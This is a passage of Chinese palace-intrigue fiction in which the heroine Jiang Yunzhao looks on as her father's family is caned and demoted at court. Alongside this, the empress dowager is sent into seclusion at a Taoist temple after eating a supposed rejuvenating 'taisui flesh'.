尤其是“不见天光一个月”这种明显透着嘲弄的话,是从她素来不喜的姜云昭嘴里说出来,更让她浑身不自在!
太后忍不住追问:“**,难道就没有别的法子了?这要关在不见光的屋子里一个月,还要严格限制饮食,也太遭罪了些……”
玉衡**这时道:“一切都是为了化解娘娘体内太岁肉的暴烈之气,为凤体安康,还请娘娘暂且忍耐。”
皇帝也面露难色:“十日后,母后还要出席文昌大典。若届时不能现身,势必引起百官猜疑……”
长公主闻言冷哼了一声,语带讥讽:“早知今日,何必当初!”
她先看向太后,言辞不掩犀利:“母后,这世上岂会真有能返老还童的好事!
秦皇汉武何等雄才大略,他们可曾求得长生不老了?
您当日既选择相信这丫头的鬼话,连东西是什么都没弄清楚就贸然服下!如今就得承担后果!
住一个月黑屋怎么了?至少能保住性命!”
太后被她说得脸上挂不住,忍不住反驳:“哪有你说得那么严重!
哀家就是吃法不对,所以才引发这些事端。
若真如玉衡**所说,先行处置过太岁肉,就不会有这场祸事了。”
长公主又转向神色迟疑的皇帝:“陛下,您该不会真信了这道士的鬼话,也心存侥幸,想要亲自试一试这太岁肉吧?”
“且不说古籍中到底有没有记载太岁肉如此神奇,即便真有,又有谁亲眼见过、亲身试过?”
“母后已做了这第一人,如今后果如何,尚且未知!您是一国之君,肩负江山社稷,难道也要跟着胡闹?”
皇帝眸光闪动,沉默了好一会儿,才缓缓道:“皇姐其实是关心朕,朕知道。”
这些年来,长公主鲜少在私下场合主动出现在他面前,更不会如今日这般,苦口婆心地劝解。
虽然言辞犀利不大中听,可自从他登基为帝,已经太久没听过这般不掺虚伪的真心话了。
皇帝最终下定决心:“母后,无论如何,玄都观还是要去的。”
太后却恋恋不舍,语气中透着不甘:“可文昌大典……”
她如今自觉浑身是劲,肌肤重现光泽,仿佛真的回到了几十年前的青春年华。
若能出席文昌大典,在天下人面前展现她这位一国太后的风采,接受百官命妇的惊叹与艳羡,该是何等风光快意!
皇帝坚持道:“此事,朕会另想办法。母后,为了您的凤体安康,这一次,就听皇姐的劝吧。”
太后脸色很不好看,可终究没再反驳长公主的话。
倒不是她觉得长公主那番话多么在理,主要是怕死——
她好不容易恢复了青春美貌,若因为吃不了这点苦,中间再出什么纰漏,岂不亏大了!
太后只得朝姜绾心招招手,语气带着安抚:“心儿,接下来这一个月,你就好好陪着哀家。你放心,吃喝用度,哀家必定亏待不了你。”
姜绾心满心不愿,迫于无奈只得谢恩起身,云昭这时忽然开口:
“陛下,臣女想去看看常海公公的伤势。毕竟是摔到了头,可大可小。”
此言一出,皇帝脸色又沉了下来:“准了。”
他转向常公公,语气森然,“姜家众人可都押到了?真是胆大包天!”
他忍不住骂了一句,“抗旨不尊,殴打内侍,简直毫无尊卑!不成体统!”
姜绾心腿一软,刚抬起的身子又跪了回去。
她强忍着没有抬眼去看云昭,心底却恨意翻涌。
姜云昭,她就是故意的!
什么要看公公的伤势,她根本就是见不得她得太后的宠!故意以此为借口,迫她继续跪着!
哪个青春正盛的少女,能忍受被关在不见天日的屋子里整整一个月?
还要与一个喜怒无常的老妇同吃同住?
光是想一想那暗无天日的日子,都让人觉得窒息,宛如酷刑加身!
而且,她早已规划妥当,就等着在文昌大典上,让太后当众为自己和太子指婚呢!
到时满京城的勋贵名流、才子文臣都在,让他们共同见证自己成为东宫太子妃的无上荣光!
可姜云昭轻飘飘一句提议,就将她精心筹划的一切全毁了!
云昭步履从容地走上前,查看常海的情形。
说来这常海也是可怜。
年纪轻轻就能担任宣旨太监,本是内侍中独一份的体面差事,偏巧赶上太后发癫、皇帝动怒的当口——
因而他受伤被抬进来后,就这么被随意放置在冷冰冰的青石砖地上,无人敢挪动,也无人敢过问。
若不是云昭方才提了一句要为他看伤,他恐怕还得一直这么躺下去,不死也得去掉半条命!
云昭命人抬来一张轻便的藤制担架床,让常海能安稳躺下。
她俯身仔细检查他的伤势,指尖刚搭上脉门,心中便是一动——
常海脉象虽略显急促,却并无垂危之兆,他根本就是醒着的,在装晕!
她心念微转,不动声色地唤来莺时,取出金疮药和洁净的绷带。
随后动作熟练地清理常海后脑的伤口,敷上药粉,再用绷带仔细包扎。
常海眼皮微颤,强自忍耐才没有睁开眼。
这时常玉公公凑上前看了一眼,见干儿子这般模样,不禁老泪纵横:
“这小子平日里皮实得很,这般上药都不醒,会不会……会不会以后都醒不过来了?”
云昭也配合地神情严肃,声音清晰地叮嘱道:“接下来三个时辰之内,切记不可给他饮水。
过了三个时辰,方可少量饮用清水或稀粥,绝不能食用油腻之物,否则,恐有性命之虞。”
常公公倒吸一口凉气:“已经到了如此严重的地步?”
云昭正色道:“后脑乃元神之所,最是脆弱不过。听方才禁军统领所言,常海是被人从台阶上扑倒摔下。
那个高度,运气差些的,当场摔死也是有的。”
常公公自己就是习武之人,如何不知身体要害之处?
即便心知肚明干儿子此刻是为了出口气,故意装晕,但听云昭说得如此严重,仍然不免心惊。
皇帝闻言,脸色更加阴沉。<
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br>说话间,禁军统领已将本就候在宫门外跪地请罪的姜世安和姜珩父子,连同早已被羁押在院中等候发落的姜老夫人,一并押了进来。
姜世安一进殿便“扑通”跪倒在地,以头触地,声音悲切:“罪臣姜世安治家不严,致使老母惊闻圣旨,心神俱震,行为失当,冲撞天恩!
罪臣闻旨之时,亦如晴天霹雳,全家上下如遭雷击,老母亲年事已高,一时受不住这般打击,这才举止失措,绝非有意抗旨啊!”
姜老夫人也当即捶胸顿足地哭嚎起来:“陛下!老身知错了!
老身当时听到圣旨,吓得腿都软了,眼前发黑,这才不小心栽倒,摔在了常海公公身上……老身绝非有意啊!”
就在这时,躺在担架上的常海眼珠在眼皮下轻轻转动,身子微微一颤,竟“恰好”从担架边缘滑落些许,当场低声啜泣起来。
偏偏他哭得凄惨可怜,口条却利索得很:“陛下……奴才今日办砸了差事,辱没了圣命,还请陛下重重责罚……”
他作势就要挣扎着叩首请罪,云昭适时伸手虚拦了一下,转身一本正经地对皇帝禀道:“陛下,可否暂时免去这位公公行礼?
他这后脑伤势颇重,若贸然动作,牵动伤口,引发晕厥呕吐,只怕这条命就真的交代了。”
皇帝一听,原本因听闻姜绾心所献乃太岁肉之事而稍缓的怒火,顿时又熊熊燃起。
“当时到底都发生了什么,你且从实道来!”皇帝厉声追问。
常海却一径摇头,哭得梨花带雨:“奴才……奴才不敢说……”
长公主一见,还有什么不明白的:“看来当时发生的事,并非他姜家人所说的那般无辜了?”
常海闻言,哭得更加伤心,又要挣扎着叩首。
一旁常公公伸手搭了他一把,同时从后头照准屁股窝了一脚,骂道:“你个榆木脑袋!
到底发生什么你且说清楚,陛下明察秋毫,自有圣断!!”
常海这才抽抽噎噎地开口:“奴才到了姜府,姜二小姐见了圣旨并不下跪,反而急着追问是什么‘赐婚圣旨’。
奴才听不懂她是什么意思,又觉她见旨不跪,实在不合规矩,就出言提醒了一句。”
“谁知,姜大人当即勃然大怒,张口就骂奴才‘行事骄狂’;姜二小姐则斥责奴才‘狗眼看人低’;姜老夫人更是用拐杖指着奴才,辱骂奴才是‘没根儿的东西’……”
常海不仅记性极好,口才更是了得,将当时姜家众人的言行举止、语气神态,模仿得惟妙惟肖,叙述得声泪俱下。
末了,他抬手揉了揉眼皮,眨着一双泛起血丝的眼睛,可怜巴巴道:
“奴才好不容易宣读完圣旨,姜家众人却齐齐质疑圣旨真伪,非说奴才是假传圣旨!
姜老夫人更是直呼奴才‘阉贼’,举起拐杖就要打杀奴才!
奴才为了躲避,这才不慎跌下台阶。谁知姜老夫人仍不罢休,竟直扑过来,将奴才重重压倒在地……”
待常海声情并茂地讲完,御座之上的皇帝早已面沉如水,眸中寒光冷冽!
“好一个姜家!”皇帝猛地一拍御案,震得案上茶盏叮当作响,
“抗旨不尊,辱骂内侍,质疑圣旨……这一桩桩一件件,你们是把朕的颜面,把朝廷的法度,都踩在脚下了!”
他霍然起身,龙袍在烛光下翻涌如怒涛,声音如寒冰刺骨:“来人!给朕打!”
第148章 发卖梅氏!
“姜世安!你曾官拜礼部尚书,本该以身作则,却纵容家眷,藐视皇权,治家不严——杖三十!”
“姜珩,你枉为状元之才!昏庸糊涂,身为长子,不知规劝——杖二十!”
“姜老夫人年高德薄,行为失检——杖十!”
“给朕狠狠地打,让满朝文武都知道,藐视皇权是什么下场!”
皇帝的声音如同惊雷炸响在甘露殿内,字字带着凛冽的杀意。
一声令下,殿外侍卫应声而入,不由分说便将哭嚎求饶的姜家三人拖拽出去。
“青天大老爷!老身冤啊!”姜老夫人嘶声力竭地喊道,声音凄厉如夜枭。
其实姜老夫人这声冤还真没喊错。
常海方才说的那些话,十之**都是实情,唯独最后那句“举起拐杖就要打杀奴才”,却是刻意夸大其词,添油加醋。
姜老夫人当时拄着拐杖扑向常海是真,但要说她真敢对宣旨太监下**,却是万万不可能。
可这世上最能骗人的谎话,便是隐藏在一堆真话里的半句虚言。
至少,除了姜家人,在场众人全都信了常海的说辞。
不待姜老夫人像往常那般撒泼打滚,她已被两个侍卫一左一右架起,粗鲁地拖行出去。
只听“刺啦”几声,她的外裳被粗暴剥去,随即被死死摁在长凳上。
执刑的侍卫抡起厚重的竹杖,毫不留情地落下!
“啊——!”老夫人凄厉的惨叫划破长空。
殿外很快传来竹杖击肉的闷响,声声结结实实,夹杂着姜老夫人杀猪般的哀嚎,每一声都敲打在殿内众人的心上。
姜绾心早已瘫软在地,面无人色,连哭都哭不出来了。
常海背对着殿门而立,微垂的眼帘下闪过一抹狠戾的冷光。
在这深宫里,历来瞧不起阉人的,都死得最快。
他深知陛下平日最重仁君名声再怎么盛怒,也不会因为今日之事就轻易处死一个前朝大臣。
但他可以等,等姜家下一次落难的时候。
京城之中,官员如过江之鲫,若谁自恃清高,目中无人,那么此人必定会摔得很快,很惨。
“即日起,姜府设思过堂!府中女眷需每日跪诵《女德》两个时辰,无朕旨意,不得踏出思过堂半步!
朕会派内侍监看,若有一日懈怠,严惩不贷!”
正挨打的姜老夫人本就疼得撕心裂肺,此时听得皇帝这番斥责,心中更是冰凉——
苏氏和三房的人早已被赶出府,梅氏还被关在大牢,心儿又要去玄都观陪伴太后……
这岂不是说,整个姜府,需要每日跪诵《女德》的,就只剩下她一个老婆子?
一天跪两个时辰,还要不停背诵那枯燥乏味的《女德》,这简直是要她的老命啊!
姜老夫人又气又急,加上臀腿处火辣辣的剧痛,眼前一黑,头一歪,直接昏死过去!
天边不知何时聚起乌云,转眼便下起淅淅沥沥的雨来。
姜老夫人的十板子很快打完,她被两名侍卫如同拖死狗般拖下长凳,提进偏殿,随意甩在角落。
她年轻时在乡下没少干农活,身子骨原本强健,奈何跟着儿子入京享福这些年,养尊处优,身子发福虚弱。
不知是那十板子打得着实狠辣,还是她急怒攻心,竟在昏迷中呕出一口鲜血,脖子一歪,彻底不省人事。
云昭冷眼看着老夫人这副惨状,心中没有半分怜悯。
曾几何时,他们是如何对待母亲苏氏的——
用药、用邪术,将一个风华正茂的女子折磨得常年卧病在床。
他们享受着迎娶苏氏女带来的荣光与利益,蚕食着母亲家族的底蕴与人脉,却无人在意她的死活。
那日他们将母亲用破草席一卷扔出尚书府时,心中作何感想?
是否也如她今日这般,冷眼旁观?
不,他们只会更无耻!弹冠相庆,心中得意,以为终于除去了眼中钉、肉中刺!
云昭近乎漠然地看着姜世安和姜珩在外继续受刑,竹杖落在皮肉上的声音清晰可闻。
“姜云昭!”姜绾心终于忍不住,扭过头泪眼婆娑地瞪着她,
“他们可都是你的至亲骨肉啊!祖母、父亲、兄长!你怎能如此冷漠,眼睁睁看着他们挨打受苦!”
云昭淡淡道:“陛下仁慈,赏罚分明,并未牵连于我。你此刻说这话,是在暗示陛下处罚不公,还是嫌陛下还没来得及惩戒于你?”
她这话说得轻飘飘,却字字诛心。
皇帝闻言,看向姜绾心的目光顿时又冷了几分。
姜绾心当即噎住,脸色煞白,只得低下头哀哀哭泣,再不敢多言。
一旁玉衡**冷眼看着姜家这一行人的丑态,目光中尽是漠然。
片刻之后,他适时开口:“陛下,有关太岁肉一事,还需问个清楚……”
皇帝经过方才姜家这一闹,神色已不似先前那般热衷,只淡淡颔首:“准。”
玉衡**于是转向姜绾心:“姜二小姐,昨日你进宫,可曾向太后娘娘献药?”
迎着皇帝审视的冰冷目光,姜绾心磕磕巴巴道:“是、是臣女所献……”
玉衡**追问:“你可知这药是何物?又是从何而来?”
姜绾心回想起太子事先教好的说辞,强自镇定,巧言道:
“这药是臣女娘亲偶然所得。听她说,此物名为太岁肉,其色如凝脂白玉,据说有起死回生之奇效,生者服之更能恢复青春容颜,是千年难遇的祥瑞圣物!”
“陛下……”玉衡**正要进言。
云昭却突然上前:“陛下!梅氏牵涉戕害苏家二房苏惊澜一案,且与方才死去的刘邝、在逃要犯薛九针关联甚深,此人绝不能轻纵!”
皇帝闻言蹙眉:“苏惊澜?这又是怎么一回事?”
赵悉忙上前将当日回春堂发生的一切娓娓道来。
尤其详细描述了那夜众人如何依照云昭布局,在姜府门外蹲守,亲眼目睹梅柔卿破开云昭所下血咒,又命李副将跟踪至痘神庙等经过。
皇帝听罢,眸色渐深,语气中带着嫌恶:“如此说来,这梅氏竟是个精通邪术的毒妇。”
他看向姜绾心,“你方才说,这太岁肉是你母亲得来的?”
姜绾心此时才后知后觉地意识到,今日她和父亲、祖母在府门前犯下了怎样愚蠢的大错!
若不是他们三人当时听闻圣旨后口不择言,祖母又冲动地撞倒了宣旨太监,即便父亲真的被贬,单凭这进献太岁肉的功劳
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,也足以在陛下面前挽回圣心!
不仅娘亲能借此离开京兆府大狱,甚至父亲官复原职也未必不可能!
而这,本是太子为他们规划好的!
可他们偏偏按捺不住,得罪了常海,导致陛下先入为主,对姜家有了偏见。
如今即便有太岁肉这样的“祥瑞”在手,陛下心中首先涌起的也是怀疑!
而这一切,自然少不了姜云昭在其中的推波助澜!
姜绾心咬牙道:“回陛下的话,此物确是母亲机缘巧合之下得来。臣女也不知具体过程,想必……要问清楚臣女的娘亲,才能知晓详情……”
她仍在为梅氏争取机会。
云昭眼底掠过一丝讽刺。
内宅的阴私手段,姜绾心或许尽得梅氏真传;
但论及在御前揣测圣意、审时度势,她简直天真愚蠢得可笑。
倘若她此刻敢抬头细看皇帝的脸色,就该明白,不论太子或玉衡**此前与她有何谋划,经过老夫人“殴打内侍”这一出,在盛怒的皇帝面前,都已彻底行不通了。
“一个成日与咒术、巫蛊打交道的毒妇,所说的话岂可轻信?”
皇帝冷笑着打断了她,语气中满是厌弃。
这时,门外的板子声终于停了。
姜世安几乎是被侍卫提着双臂,一路拖行着过了门槛,狼狈不堪地趴跪在御前。
姜珩虽年轻,但终究是个文弱书生,此刻趴在父亲身旁,已是气息奄奄,连呻吟的力气都没有了。
两人臀腿处衣衫尽裂,血迹斑斑,每动一下都疼得龇牙咧嘴,哪里还有半分往日礼部尚书和状元郎的风光?
皇帝冷眼睨着姜世安:“朕听闻你已与苏氏和离,莫非就是为了那个梅氏?真是瞎了眼!
将一个蛇蝎毒妇捧若珍宝,反倒将贤德的正室夫人休弃,朕看你不仅是治家无方,更是识人不明,昏聩至极!”
姜世安挣扎着撑起上身,惨然道:“陛下容禀!
臣当日与苏氏和离,实是一时糊涂,受人蒙蔽啊!
刚走到京兆府,臣就已悔不当初!
许是驸马因当年与长公主殿下婚事之故,对臣一直怀有成见,竟强行夺走臣手中的和离书,逼着京兆府的户曹参军当场盖印……
臣,臣是被逼无奈啊!”
他声泪俱下,转而以拳捶地,表现得无比愤慨:“微臣也是昨夜眼见女儿云昭要回府捉拿梅氏,才惊觉梅氏她竟是如此包藏祸心、恶贯满盈!
臣……臣也是被这毒妇蒙蔽了双眼,被她**于股掌之间啊!”
此言一出,姜绾心忍不住生生打了个寒战,难以置信地望向父亲。
而云昭眼底则升起一抹冰冷的兴味。
那日她与母亲提前布局,趁着姜家不知永熙王伏诛的消息,诱使父亲痛快同意和离分家。
彼时她就料到,以姜世安趋炎附势、自私凉薄的性子,迟早会与梅氏反目成仇,彼此攻讦。
只是她没想到,这一天会来得如此之快,而且是在这金銮殿上,当着皇帝和众人的面。
就见姜世安猛地抬起头,斩钉截铁,语气决绝如同壮士断腕:“今日,微臣就当着陛下和岳丈的面,发卖了梅氏这个毒妇!从此与她恩断义绝,再无瓜葛!”
第149章 贬为九品芝麻官
这番厚颜无耻的言辞,连一旁冷眼旁观的赵悉都不禁暗暗咂舌。
苏惊墨更是当即嗔道:“满嘴胡沁!你已与我姑母和离!文书俱在,官府备案,怎还有脸在此口称岳父!”
他这声脱口而出的“姑母”,不仅引得云昭微微侧目,就连一旁的苏文正亦流露出复杂难言的怅惘之色,那双阅尽世事的眼中闪过一丝痛楚。
萧启和赵悉的目光在这祖孙三人之间看个来回,随后又齐齐将目光投向云昭。
而云昭早已飞快地瞥开视线,面上无波无澜,仿佛这一切都与她无关。
长公主气得浑身发抖,指着姜世安的鼻子斥道:“姜世安,你少在这胡搅蛮缠!你说驸马逼迫户曹参军盖下官印,难道那和离书也是他强迫你写的?”
姜世安伏在地上,以头叩地,语气悲切:“千错万错,都是臣的过错。
臣绝无指责驸马爷公报私仇之意。
只是当日那情形……驸马爷对臣成见已深,微臣……确实迫不得已。”
长公主一听,当即勃然大怒!
好个姜世安!
分明是自己宠妾灭妻、品行不端,如今东窗事发,竟还想反咬一口,将脏水泼到驸马身上!真是无耻之尤!
她气得眼前一阵发黑,身形微晃,险些站立不稳。
云昭见状,适时上前一步,稳稳扶住长公主。
她看清长公主形容,身形微微一顿,随即神色如常地转向常公公:“近日天气炎热,义母心绪不宁,想来是有些暑热之气。
义母脾胃虚弱,不宜用冰镇之物,烦请泡一壶茉莉石斛茶来,此茶清心降火,又不至过于寒凉伤身。”
她没有明说的是,方才走近一看,就见长公主子女宫气色莹润,隐有红鸾之气流动,此乃胎息初动之兆。
若她所料不差,义母近来或许真有机缘,怀有身孕。故而饮食起居,不可贪凉伤身。
姜世安与长公主之间的积怨,还要追溯到当年长公主下嫁卫临驸马之时。
长公主比驸马年长五岁,又曾有过一段和离的经历,彼时的卫临则是军功赫赫、前途无量的年轻将领,正是朝廷一颗冉冉升起的将星。
以姜世安为首的文官清流,为此没少上奏**,引经据典,口诛笔伐,指责长公主此举“有伤风化”、“违背妇德”,闹得满城风雨。
但长公主力排众议,执意下嫁。
而驸马卫临更是在金銮殿上,当着皇帝和满朝文武的面,坦然陈情,直言自己是心甘情愿求娶长公主,从未受到任何胁迫。
这段惊世骇俗的姻缘,当年在盛京掀起了怎样的波澜,自不必多说。
而长公主与姜世安的梁子,也自此结下,再难化解。
后来,嘉乐郡主不幸失踪,长公主悲痛欲绝,状若疯魔,为寻爱女踪迹,不惜多次亲赴各地。也因此与当地官员屡生冲突,斥责他们身为父母官却碌碌无为。
而姜世安再次以“长公主为一己私欲,干涉地方政务,有违体制”为由,联合言官大肆**。
最终的结果是皇帝下旨,严令长公主不得私自离京。
这段恩怨纠葛,在场众人无不知晓。
皇帝眼见长公主气成这般模样,连忙示意常玉为她看座,又让内侍速去煮茶。
一旁太后也忍不住嘀咕了一句:“都是做娘的人了,脾气还是这么一点就着,跟个炮仗似的,难怪动不动就上火头晕!”
然而,皇帝和众人都不知道的是,正是姜世安当年沽名钓誉、假作清高的行径,逼得长公主不能出京寻女,才促使萧启代为暗中寻访高人。
而也正是因为此,萧启与云昭才会在青州相遇。
阴差阳错间,姜世安故意遗弃在外的女儿,借着秦王与长公主这股东风,重回盛京,展开复仇。
云昭冷眼看着匍匐在地的姜世安,她太了解这个生身父亲了。
姜世安最在意的,从来只有是自己。
他在意脸面,在意官声,在意自己身为礼部尚书、天子近臣的荣宠与体面!
而现在,她正亲眼看着他在众人面前,一件件、一桩桩,逐步失去他曾经最引以为傲的所有资本。
“陛下。”云昭看向皇帝,“按说父母和离,臣本该亲自陪同,但行至半路,忽闻苏山长的病危的消息……”
说到此处,她目光似有似无地扫过苏文正,才意味深长地继续道,“臣自小并未长在父母身边,对外祖家……若说有多么深厚的感情,未免太过虚伪。
是臣的娘亲当时急得直落泪,苦苦哀求臣,无论如何一定要想办法救回苏山长。
臣这才不得已撇下母亲,赶往苏府。
又担心母亲多年深居简出,不熟悉京兆府的章程,这才转而恳请驸马仗义相助,代为周全。”
云昭内心对于认不认苏家,其实并无太多执念。
前世她直到含恨而终,也未能见到任何一位血脉亲人。
这一世,除了与她处境同样凄惨的母亲,对于其他所谓的亲人,她始终保持着一种疏离的态度。
但她知道,与苏家化解心结,是母亲深埋心底的愿望。
而且,她实在很好奇,当年母亲为何会下嫁姜世安,这其中是否隐藏着什么不为人知的阴谋?
故而,云昭是有心借当日之事,让这位外祖父心生愧疚,也便于她后续行事。
苏文正听到此节,眸中闪过一抹怔忪,嘴唇微微颤抖,良久未能言语。
姜世安见状,哀声道:“阿昭,为父知道,你怨我与你母亲和离,心中与为父生分了……”
云昭皮笑肉不笑地打断他:“父亲,您是我的生身父亲,这是改不掉的血缘。但母亲与您和离时,您曾亲口说过——
‘他日你若在外颠沛流离,后悔今日决定,可莫要再回头来求我姜家收留!’”
她微微歪头,“父亲,您可还记得自己当日说过的这些话?”
此言一出,苏文那双素来温和的眼眸,瞬间锐利如鹰隼,死死盯住姜世安。
这些年他虽早已远离朝堂,但在朝为官的门生故旧尚有一些。
因着苏**这层关系,这些人明里暗里,或多或少,都曾对姜世安行过方便。
如今苏**已与他正式和离,从今日起,这些人脉、这些关照,与他姜世安再无半分瓜葛!
这**子!休想再沾苏家半点光!<
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br>皇帝有心敲打姜世安,更欲借此施恩苏家,他眸光冷沉觑着下方:“姜世安,看来朕此前那道贬谪的圣旨,你心中并不服气。既然如此,朕便再下一道旨意!”
他略一沉吟,决然道:“即日起,革去姜世安刑部员外郎之职,贬为照磨所照磨,秩正九品,仍归于刑部侍郎陶远之麾下听用!
给朕好好去管管档案卷宗,磨一磨你这不知天高地厚的性子!”
这道圣旨宛如晴天霹雳,狠狠砸在姜世安头上!
要知道,刑部员外郎虽是被贬,好歹也是从五品的官职,若有朝一日圣心回转,未必没有起复的可能。
可这照磨乃是掌管卷宗、勘核文书的小吏,秩仅正九品,几乎是京官中最末流的存在!
更要命的是,他仍要在那个素来与他不和的陶远之手底下讨生活!
想那陶远之从前见他,哪次不是恭恭敬敬行礼,口称“尚书大人”?
来日若真去刑部照磨所点卯,在那厮手下听差,还不知道要遭受多少羞辱和刁难!
姜世安眼前一黑,一时间悔得肠子都青了!
眼角余光瞥见瘫在一旁昏迷不醒的老夫人,恍惚间甚至生出怨怼——
当年若是没有将母亲从乡下接来京城享福,而是多给些银钱让她在乡间安度晚年,是不是就不会有今日这场飞来横祸?
他本就被打得皮开肉绽,全靠一口心气撑着,此刻只觉万念俱灰,喉头一甜,“哇”的一声,喷出一大口鲜血来!
“父亲!”姜绾心见状,吓得失声尖叫。
姜珩自身也行动不便,见状也不由得焦急惊呼:“父亲!您怎么样!”
太后看得眉头紧皱,忍不住出声:“姜云昭——!”
不待太后后续的话说出口,云昭已然快步上前,伸出二指,在姜世安的手腕上极快地一搭。
随即,如同碰到什么污秽之物般,迅速收回。
她抬起眼,迎向神色莫测的皇帝,语气平静无波:“陛下,我父亲他挨了三十廷杖,受了些皮肉之苦,加之急怒攻心,郁结于胸。
如今这口瘀血吐出来,反倒比闷在心里要好。”
皇帝眉眼间闪过一抹微妙的满意:“爱卿医术精湛,你的判断,朕自然是信的。”
云昭这话,说得皇帝心里舒坦。
毕竟,若真因为一顿板子和几句斥责,就把前任礼部尚书折磨**,传出去于他仁君的名声终究有碍。
一旁姜珩见状,气得脸色铁青,却又无可奈何!
姜云昭!自从她得了秦王赐婚,行事是越发狠辣无忌了!
偏偏他如今经历生母身份曝光的打击,看事比从前清醒不少,心里明白,云昭这番看似冷漠的诊断,恰恰说到了帝王心坎里!
皇帝要的,就是她这种“公事公办”的态度!
姜绾心还待哭喊,姜珩已低喝制止:“心儿!休得再喧哗!”
然而,就在这时,皇帝冰冷的目光,已再次落在他的身上:“姜珩——”
姜珩悚然一惊,一股寒意从脚底直窜头顶!
他这才猛地意识到,皇帝对姜家的惩戒,尤其是对他和父亲的惩罚,还远未结束!
第150章 瘸子,还满脸痘坑!
太后此时却有些于心不忍了。
她抬手虚搭,示意身旁的近侍上前搀扶,随即走到皇帝身侧,俯身低语了几句。
皇帝面色不虞,压低声音:“这等事……母后还是不要过多操心为好。”
太后却不以为意:“皇帝今日正在气头上,难免有失偏颇。姜世安此人,并非一无是处。皇帝莫要忘了,当年朱玉国……”
太后这句话说得极轻,只有皇帝和坐在稍近处的长公主能够听清。
云昭敏锐地注意到,皇帝在听到太后说的第二句话之后,脸色骤然一变!
就连一旁的长公主,眉眼间也闪过一抹恍惚之色,仿佛被勾起了什么久远的记忆。
就在这时,殿外传来通传声:“陛下,荣太傅此刻就在宫门外。”
皇帝眸光微凝,沉吟道:“请他到文华殿稍候。”
谁知那内侍却上前一步,双手奉上一封文书:“荣太傅说就不进来叨扰了,特命奴才将此信呈交陛下。”
云昭凝眸望去,依稀瞧见那信封的质地颇为特殊——
是用一种罕见的深蓝色洒金笺制成,边缘以银线勾勒出繁复的蔓草纹样,封口处还压着一枚异域风格的狮首火漆印,透出某种神秘而高贵的气息。
皇帝展开信笺,目光在纸面上快速扫过,脸色不由变了又变。
好一会儿,他抬起眼,与一旁的长公主交换了一个意味深长的眼色,随即缓声唤道:“双喜。”
他命令道:“即刻带两名御医前往姜府。传朕口谕,着御医务必精心诊治,让姜家父子的伤势尽快痊愈。”
顿了顿,他又补充道:"伤愈之后,暂不必往刑部赴任,且留在家中,听候传唤。"
双喜躬身领命,快步退下。
很快,姜世安父子和姜老夫人,被侍卫分别抬上担架,在众人复杂的目光中离开了大殿。
姜绾心紧咬着下唇,忍不住朝站在皇帝身侧的太后投去一瞥,眼中满是惊异与好奇——
荣太傅那封信上究竟写了什么,竟能让这位素来乾纲独断的帝王,在盛怒之下突然转变态度?
在场众人无不面露惊疑,暗自揣测。
云昭细细观察着每个人的神色,却见苏文正眸中神色沉静,似乎对这番变故早有预料,并不感到意外。
皇帝不动声色地将那封信揣入宽大的袖笼,转而看向太后,语气缓和了些:“母后早些回宫收拾行装罢。
今日便随玉衡**前往玄都观静养,宫中的事,不必挂心。”
他的目光随即扫向仍跪在地上的姜绾心。
姜绾心感受到天子目光中的威压,不由得瑟瑟发抖。
皇帝沉声道:“姜绾心,你贸然献药,险些酿成大祸,本应重罚。
但念在你年少无知,且太后为你求情,朕便网开一面。
接下来这一个月,你要好生陪伴太后,悉心照料,将功折罪。”
姜绾心连忙叩首应道:“臣女遵旨,定当尽心竭力,侍奉太后娘娘。”
太后见状,语气慈和地唤道:“心儿快些起来吧,地上凉。”
皇帝这时将目光转向云昭等人,先是叮嘱赵悉:“回春堂一案,既然与京中盛行的桃花咒有关,你需加紧查办。那个薛九针,务必尽快缉拿归案。”
接着又对云昭道:“竹山书院那边,你这几日务必再去仔细巡查一遍。
十日后的文昌大典,朕不希望出现任何差池。需要什么人手或物资,尽管去找常玉。”
常公公立即朝云昭含笑躬身:"老奴随时听候姜司主差遣。"
皇帝接过内侍新奉上的一碗冰镇桂花莲子羹,用银匙轻轻搅动,似有些出神。
好一会儿,他才挥挥手道:“若没别的事,就散了吧。”
他特意对苏文正道:"苏卿留下陪朕用晚膳吧。渊儿也一同留下。"
他的目光又落在苏惊墨身上:“你这位孙儿很是不错,今日也一并留下。府上,朕会派人去知会一声。”
云昭这时开口道:“陛下,前往苏府传信之事,臣或可代劳。”
苏惊墨闻言,惊讶地看向云昭。
云昭从容解释:“臣不敢隐瞒陛下。上一次前往苏府为苏山长诊治腿疾时,臣对府上布局就有些担忧。
刘大夫虽已伏法,但背后教他这等阴毒厌胜之术之人,是否还有后手?此事不得不防。”
皇帝闻言,神色也变得严肃:“你年纪虽轻,虑事却周详。光是检查竹山书院确实不够,苏府上下也须得仔细排查,务必确保万无一失。”
苏文正接口道:“陛下圣明。府中除了几房子女孙辈,还有旁支亲属住在相邻院落,人口众多。
不如让墨儿这孩子也陪同回去,也好协助云昭行事。”
皇帝点头应允。
长公主坐在原地未动,云昭与她交换一个眼色,与其余众人依序告退。
待步出宫门,所有人都不约而同地松了口气。
苏惊墨问道:“咱们这就去我家?”
云昭摇头:“先回一趟昭明阁,给家里报个平安。”
至于前往苏府,她既然借口传信,自然要做足准备。
云昭与赵悉等人一同乘车赶往昭明阁,沿途引来不少百姓驻足围观。
“姜司主!听说你家老夫人把宣旨太监给打了!一路锁进宫里去了!”一个粗嗓门的汉子高声喊道。
“要我说,姜家这是自作自受!如今遭报应了!真是老天有眼!”
云昭一手掀着车帘,朝众人微微颔首:"劳诸位乡邻挂心。若有什么冤情或难处,可到昭明阁门前登记。核查属实,我定会尽力相助。"
说罢,马车继续前行,沿途不少百姓撑伞相送。
一路热热闹闹地行至昭明阁,还未等下马车,苏氏和温氏等人就急急迎了出来。
云昭隔着车窗,握住苏氏的手:“娘,我没事,让大家担心了。但我暂时不能久留,还有些要事需处理。”
又命莺时和孙婆子进去取些必备之物。
苏氏则抓紧时间,递上几个精致的食盒:“新煮好的菌汤银丝面,带着路上吃吧。”她解释道,“原本想做槐叶冷淘,谁知突然下雨,就改煮了这个。
说来也巧,这面刚煮好,就听门房说满大街都在传你回来的消息。”
云昭接过食盒,温言安抚苏氏:"母亲放心,我一切都好。这几日务必锁好门户,若无要事,尽量不要外出。"
惠娘默默递上一份用油纸包好的糕点。
苏惊墨见到那包装,不由惊讶:"这不是德馨斋的五常饼吗?"
云昭随意应了一声,并未多言。
倒是赵悉和有悔大师早已饥肠辘辘,当即打开食盒吃了起来。
只见细如发丝的银丝面浸在清澈的菌汤之中,配上几片翠绿的青菜与嫩山蕈,令人食指大动。
众人在宫中经历一番惊心动魄,此刻聚在这小小的马车里,分享着这简单却美味的食物,竟觉得这片刻的宁静格外珍贵。
